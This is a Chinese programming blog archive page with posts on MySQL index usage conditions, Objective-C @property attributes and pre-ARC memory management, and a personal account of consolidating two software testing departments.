  ü  在JOIN操作中(需要从多个数据表提取数据时),MYSQL只有在主键和外键的数据类型相同时才能使用索引,否则即使建立了索引也不会使用
  ü  如果WHERE子句的查询条件里使用了比较操作符LIKE和REGEXP,MYSQL只有在搜索模板的第一个字符不是通配符的情况下才能使用索引。比如说,如果查询条件是LIKE 'abc%',MYSQL将使用索引;如果条件是LIKE '%abc',MYSQL将不使用索引。
  ü  在ORDER BY操作中,MYSQL只有在排序条件不是一个查询条件表达式的情况下才使用索引。尽管如此,在涉及多个数据表的查询里,即使有索引可用,那些索引在加快ORDER BY操作方面也没什么作用。
  ü  如果某个数据列里包含着许多重复的值,就算为它建立了索引也不会有很好的效果。比如说,如果某个数据列里包含了净是些诸如“0/1”或“Y/N”等值,就没有必要为它创建一个索引。
  只要建立了索引,除了上面提到的索引不会使用的情况下之外,其他情况只要是使用在WHERE条件里,ORDER BY 字段,联表字段,索引一般都是有效的。

posted @ 2014-11-24 10:02 顺其自然EVO 阅读(664) | 评论 (0)编辑 收藏

IOS开发之property详解

之前很多网友对我翻译的教程中的Property的使用感到有些迷惑不解,搞不清楚什么时候要release,什么时候要self.xxx = nil;同时对于Objective-c的内存管理以及cocos2d的内存管理规则不够清楚。本文主要讲解objc里面@property,它是什么,它有什么用,atomic,nonatomic,readonly,readwrite,assign,retain,copy,getter,setter这些关键字有什么用,什么时候使用它们。至于Objc的内存管理和cocos2d的内存管理部分,接下来,我会翻译Ray的3篇教程,那里面再和大家详细讨论。今天我们的主要任务是搞定@property。
  学过c/c++的朋友都知道,我们定义struct/class的时候,如果把访问限定符(public,protected,private)设置为public的话,那么我们是可以直接用.号来访问它内部的数据成员的。比如
  //in Test.h
  class Test
  {
  public:
  int i;
  float f;
  };
  我在main函数里面是可以通过下面的方式来使用这个类的:(注意,如果在main函数里面使用此类,除了要包含头文件以外,最重要的是记得把main.m改成main.mm,否则会报一些奇怪的错误。所以,任何时候我们使用c++,如果报奇怪的错误,那就要提醒自己是不是把相应的源文件改成.mm后缀了。其它引用此类的文件有时候也要改成.mm文件)
  //in main.mm
  Test test;
  test.i =1;
  test.f =2.4f;
  NSLog(@"Test.i = %d, Test.f = %f",test.i,  test.f);
  但是,在objc里面,我们能不能这样做呢?请看下面的代码:(新建一个objc类,命名为BaseClass)
  //in BaseClass.h
  @interface BaseClass : NSObject{
  @public
  NSString *_name;
  }
  接下来,我们在main.mm里面:
  BaseClass *base= [[BaseClass alloc] init];
  base.name =@"set base name";
  NSLog(@"base class's name = %@", base.name);
  不用等你编译,xcode4马上提示错误,请看截图:
  请大家注意看出错提示“Property 'nam' not found on object of type BaseClass*",意思是,BaseClass这类没有一个名为name的属性。即使我们在头文件中声明了@public,我们仍然无法在使用BaseClass的时候用.号来直接访问其数据成员。而@public,@protected和@private只会影响继承它的类的访问权限,如果你使用@private声明数据成员,那么在子类中是无法直接使用父类的私有成员的,这和c++,java是一样的。
  既然有错误,那么我们就来想法解决啦,编译器说没有@property,那好,我们就定义property,请看代码:
  //in BaseClass.h
  @interface BaseClass : NSObject{
  @public
  NSString *_name;
  }
  @property(nonatomic,copy) NSString *name;
  //in BaseClass.m
  @synthesize name = _name;
  现在,编译并运行,ok,很好。那你可能会问了@prperty是不是就是让”."号合法了呀?只要定义了@property就可以使用.号来访问类的数据成员了?先让我们来看下面的例子:
@interface BaseClass : NSObject{
@public
NSString *_name;
}
//@property(nonatomic,copy) NSString *name;
-(NSString*) name;
-(void) setName:(NSString*)newName;
我把@property的定义注释掉了,另外定义了两个函数,name和setName,下面请看实现文件:
//@synthesize name = _name;
-(NSString*) name{
return _name;
}
-(void) setName:(NSString *)name{
if (_name != name) {
[_name release];
_name = [name copy];
}
}
现在,你再编译运行,一样工作的很好。why?因为我刚刚做的工作和先前声明@property所做的工作完全一样。@prperty只不过是给编译器看的一种指令,它可以编译之后为你生成相应的getter和setter方法。而且,注意看到面property(nonatomic,copy)括号里面这copy参数了吗?它所做的事就是
  _name = [name copy];
  如果你指定retain,或者assign,那么相应的代码分别是:
  //property(retain)NSString* name;
  _name = [name retain];
  //property(assign)NSString* name;
  _name = name;
  其它讲到这里,大家也可以看出来,@property并不只是可以生成getter和setter方法,它还可以做内存管理。不过这里我暂不讨论。现在,@property大概做了件什么事,想必大家已经知道了。但是,我们程序员都有一个坎,就是自己没有完全吃透的东西,心里用起来不踏实,特别是我自己。所以,接下来,我们要详细深挖@property的每一个细节。
  首先,我们看atomic 与nonatomic的区别与用法,讲之前,我们先看下面这段代码:
  @property(nonatomic, retain) UITextField *userName;    //1
  @property(nonatomic, retain,readwrite) UITextField *userName;  //2
  @property(atomic, retain) UITextField *userName;  //3
  @property(retain) UITextField *userName;  //4
  @property(atomic,assign) int i;         // 5
  @property(atomic) int i;         //6
  @property int i;               //7
  请读者先停下来想一想,它们有什么区别呢?
  上面的代码1和2是等价的,3和4是等价的,5,6,7是等价的。也就是说atomic是默认行为,assign是默认行为,readwrite是默认行为。但是,如果你写上@property(nontomic)NSString *name;那么将会报一个警告,如下图:
  因为是非gc的对象,所以默认的assign修饰符是不行的。那么什么时候用assign、什么时候用retain和copy呢?推荐做法是NSString用copy,delegate用assign(且一定要用assign,不要问为什么,只管去用就是了,以后你会明白的),非objc数据类型,比如int,float等基本数据类型用assign(默认就是assign),而其它objc类型,比如NSArray,NSDate用retain。
  在继续之前,我还想补充几个问题,就是如果我们自己定义某些变量的setter方法,但是想让编译器为我们生成getter方法,这样子可以吗?答案是当然可以。如果你自己在.m文件里面实现了setter/getter方法的话,那以翻译器就不会为你再生成相应的getter/setter了。请看下面代码:
//代码一:
@interface BaseClass : NSObject{
@public
NSString *_name;
}
@property(nonatomic,copy,readonly) NSString *name;  //这里使用的是readonly,所有会声明geter方法
-(void) setName:(NSString*)newName;
//代码二:
@interface BaseClass : NSObject{
@public
NSString *_name;
}
@property(nonatomic,copy,readonly) NSString *name;   //这里虽然声明了readonly,但是不会生成getter方法,因为你下面自己定义了getter方法。
-(NSString*) name;   //getter方法是不是只能是name呢?不一定,你打开Foundation.framework,找到UIView.h,看看里面的property就明白了)
-(void) setName:(NSString*)newName;
//代码三:
@interface BaseClass : NSObject{
@public
NSString *_name;
}
@property(nonatomic,copy,readwrite) NSString *name;  //这里编译器会我们生成了getter和setter
//代码四:
@interface BaseClass : NSObject{
@public
NSString *_name;
}
@property(nonatomic,copy) NSString *name;  //因为readwrite是默认行为,所以同代码三
  上面四段代码是等价的,接下来,请看下面四段代码:
//代码一:
@synthesize name = _name;  //这句话,编译器发现你没有定义任何getter和setter,所以会同时会你生成getter和setter
//代码二:
@synthesize name = _name;  //因为你定义了name,也就是getter方法,所以编译器只会为生成setter方法,也就是setName方法。
-(NSString*) name{
NSLog(@"name");
return _name;
}
//代码三:
@synthesize name = _name;   //这里因为你定义了setter方法,所以编译器只会为你生成getter方法
-(void) setName:(NSString *)name{
NSLog(@"setName");
if (_name != name) {
[_name release];
_name = [name copy];
}
}
//代码四:
@synthesize name = _name;  //这里你自己定义了getter和setter,这句话没用了,你可以注释掉。
-(NSString*) name{
NSLog(@"name");
return _name;
}
-(void) setName:(NSString *)name{
NSLog(@"setName");
if (_name != name) {
[_name release];
_name = [name copy];
}
}
  上面这四段代码也是等价的。看到这里,大家对Property的作用相信会有更加进一步的理解了吧。但是,你必须小心,你如果使用了Property,而且你自己又重写了setter/getter的话,你需要清楚的明白,你究竟干了些什么事。别写出下面的代码,虽然是合法的,但是会误导别人:
//BaseClass.h
@interface BaseClass : NSObject{
@public
NSArray *_names;
}
@property(nonatomic,assgin,readonly) NSArray *names;  //注意这里是assign
-(void) setNames:(NSArray*)names;
//BaseClass.m
@implementation BaseClass
@synthesize names = _names;
-(NSArray*) names{
NSLog(@"names");
return _names;
}
-(void) setNames:(NSArray*)names{
NSLog(@"setNames");
if (_name != name) {
[_name release];
_name = [name retain];  //你retain,但是你不覆盖这个方法,那么编译器会生成setNames方法,里面肯定是用的assign
}
}
  当别人使用@property来做内存管理的时候就会有问题了。总结一下,如果你自己实现了getter和setter的话,atomic/nonatomic/retain/assign/copy这些只是给编译的建议,编译会首先会到你的代码里面去找,如果你定义了相应的getter和setter的话,那么好,用你的。如果没有,编译器就会根据atomic/nonatomic/retain/assign/copy这其中你指定的某几个规则去生成相应的getter和setter。
  好了,说了这么多,回到我们的正题吧。atomic和nonatomic的作用与区别:
  如果你用@synthesize去让编译器生成代码,那么atomic和nonatomic生成的代码是不一样的。如果使用atomic,如其名,它会保证每次getter和setter的操作都会正确的执行完毕,而不用担心其它线程在你get的时候set,可以说保证了某种程度上的线程安全。但是,我上网查了资料,仅仅靠atomic来保证线程安全是很天真的。要写出线程安全的代码,还需要有同步和互斥机制。
  而nonatomic就没有类似的“线程安全”(我这里加引号是指某种程度的线程安全)保证了。因此,很明显,nonatomic比atomic速度要快。这也是为什么,我们基本上所有用property的地方,都用的是nonatomic了。
  还有一点,可能有读者经常看到,在我的教程的dealloc函数里面有这样的代码:self.xxx = nil;看到这里,现在你们明白这样写有什么用了吧?它等价于[xxx release];  xxx = [nil retain];(---如果你的property(nonatomic,retian)xxx,那么就会这样,如果不是,就对号入座吧)。
  因为nil可以给它发送任何消息,而不会出错。为什么release掉了还要赋值为nil呢?大家用c的时候,都有这样的编码习惯吧。
  int* arr = new int[10];    然后不用的时候,delete arr; arr = NULL;  在objc里面可以用一句话self.arr = nil;搞定。

posted @ 2014-11-24 10:02 顺其自然EVO 阅读(192) | 评论 (0)编辑 收藏

测试团队管理-第三篇:部门整合(2)

 后面的一系列事实验证了我的预感。在公司的组织架构中,我做为公司级的新测试部门的部门经理,汇报给公司主管研发方向的副总,原则上和两个业务方向上的开 发部门的部门经理平级。但在实际运行中,副总已远离基层工作多年,更多是听取两个开发部门部门经理的汇报,互相信任度很高;在以前测试主管也是汇报给开发 的部门经理,开发的部门经理对测试部门过往情况了如指掌。基于种种现状,我在一定程度上也要汇报给两个开发部门的部门经理,或者说比他们要低半级。另外,原有的两名代理测试主管,虽然被公司老板彻底否定,被认定不具备测试主管的能力,并都被指定为我的部门助理,但是她们都深受原直接上级,也就是两名开发部门部门经理的信任,其间的关系比较微妙。不算其他上下游兄弟部门,我必须首先处理好和我的直接上级副总,两名间接上级-开发的部门经理,还有两名原测试主管的关系,对平衡和协调能力是个不小考验。
  本着先易后难,循序渐进的原则,我开始着手逐步推进,做了一下几件事。第一,统一两个小测试部门的Bug库、SVN、文件共享服务。第二,统一测试用例、测试计划、测试报告等模版。第三,统一部门招聘面试试用流程、培训考核制度、定岗定级制度。第四,收集汇总部门所有人员基本信息,梳理并画出新部门的组织 架构图。这些基础性的面上的工作相对好开展,在入职三个月左右时基本就做完了。春节一过,公司在各项信息系统里添加新测试部门的相关信息,并对人员、权限做相应设置调整,新的公司级的测试部门呱呱坠地,横空出世。
相关文章
 测试团队管理-第一篇:空降
测试团队管理-第二篇:部门整合(1)

posted @ 2014-11-24 10:01 顺其自然EVO 阅读(227) | 评论 (0)编辑 收藏

仅列出标题
共394页: First 上一页 11 12 13 14 15 16 17 18 19 下一页 Last 
<2024年11月>
272829303112
3456789
10111213141516
17181920212223
24252627282930
1234567

导航

统计

常用链接

留言簿(55)

随笔分类

随笔档案

文章分类

文章档案

搜索

最新评论

阅读排行榜

评论排行榜